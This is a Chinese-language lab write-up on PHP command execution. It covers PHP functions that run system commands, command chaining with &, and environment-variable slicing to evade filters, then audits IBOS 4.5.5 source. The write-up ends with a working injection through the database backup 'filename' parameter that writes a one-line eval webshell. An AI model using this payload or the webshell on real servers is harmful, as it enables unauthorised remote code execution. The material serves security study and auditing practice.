php命令执行
一、命令执行相关知识
0x01. 什么是命令执行
: 让php文件去执行cmd命令.在命令行中使用echo “” > 1.php:
写一句话木马到1.php文件.(路径在命令行本级目录)
代码执行和命令执行的区别:
- 代码执行:用户输入的数据被当做后端代码执行
- 命令执行:用户输入的数据被当做系统命令执行(菜刀的终端实际上也是用的命令执行调用的cmd窗口)
0x02. php哪些函数可以做到命令执行:
1.system(‘whoami’):
php操纵计算机执行whoami命令,并且输出结果,可以看到多行
2.echo exec(‘whoami’):
php操纵计算机执行命令之后获取最后一行结果,需要配合echo使用
3.echo shell_exec(‘whoami’):
php操纵计算机执行命令之后,获取所有结果,但是不会自动输出,需要配合echo使用
4.passthru:
只调用命令,把命令的运行结果原样的输出到标准输出设备,和system差不多
5.``:
反引号其实就是调用shell_exec()函数
6.popen
(要执行的命令,参数)r是只读,w是写入: 执行之后返回值是一个指针,需要用到函数去读取,并且只读取一行数据
- $a = popen(‘whoami’,‘r’);
- echo foread($a,1024);
绕过waf运行命令执行方法大全:
http://www.anquanke.com/post/id/208398
0x03. 如何同时执行两条命令
& 与符号,在命令行中 可以让一条语句执行两条命令。
比如: whoami&ipconfig
当第一条命令错误的时候,也会继续执行第二条命令。
命令行set: 查询本机所有环境变量
可以用echo %PATHEXT:~0,1%: 意思是输出环境变量pathext中的第一位
加百分号的意思是输出环境变量pathext的值,此方法类似php substr()函数
通过获取环境变量,对环境变量进行字符切割获得.然后拼接执行
echo %PATHEXT:~0,1%成功输出1.php
二、靶场-本地测试
靶场采用的是ibos4.5.5版本,找到源码,本地搭建进行代码审计。
安装完成后,先放在一边,打开代码审计软件,进行代码审计。
搜索了一下system没有找到相关函数,打开一个php文件,发现有一些打开正常,有一些打开又是乱码,那么可能源码部分被加密了。
到网站上测试出,加密是Zend53加密,并且可以被解密
批量解密后,将解密后的文件丢入代码审计软件,搜索命令执行相关函数
搜索system(无结果,那么就换exec()函数进行全局搜索。
追溯到这个函数所在的位置,进行代码解读
好像参数都不可控,这里用的是shell_exec(),是关于数据库的,那么再全局搜索一下shell_exec函数看有没有其他结果
第二条内容中有一条,mysqldump,数据库文件导出,点进去分析一下。
这里有一个$dumpfile,其他与刚刚的文件相似,都无法控制,那么就继续全文搜索一下这个$dumpfile是由什么决定的。
$dumpfile是由$backupFileName拼接.sql后缀,那么再看一下$backupFileName是由什么决定的。
前面都是返回的字符串,后面拼接了正则匹配函数,将$filename中的/、\、.、'都替换成空,那么再看一下$filename是由什么决定的
诶,这里仿佛可以被控制,因为这里filename是由传参所决定的。
回到shell_exec()函数,这里是跟数据库文件导出操作有关联,试着在网站后台看看是否有和数据库相关的操作。
这里好像确实和数据库有所关联,Mysqldump,提交备份抓包分析一下数据包中的内容。
传参中获取了filename传参,并且文件导出成功。
这时候可以拼接恶意语句,利用命令执行函数去生成一个带有一句话木马的php文件
构造语句:filename=xxbaqwe&echo "<?php eval($_REQUEST[1])?>">alva%PATHEXT:~0,1%php&123
因为&符号在post栏中有连接下一个传参的意思,所以可以将其写在get传参栏中,进行url编码,然后利用get传参自动解码达到效果。也可以在post传参中写,也需要url编码,因为这套源码是采用了一个框架,所以可以做到解码。
其实在这一个步骤我就消耗了接近两个小时,因为我上传文件,提示shell+权限被禁用,不管是在本地还是靶场,最开始的时候,报错了,我试着去访问,访问不到,然后后来我一直测试,一直提示这个报错,但是我一直都没有去访问这个文件。
最后还是在本地测试了一次,发现报错shell+权限被禁用但是备份文件生成了,然后在文件夹搜索生成的php文件也确实生成了。才知道,报错不用管,实际上文件已经生成了。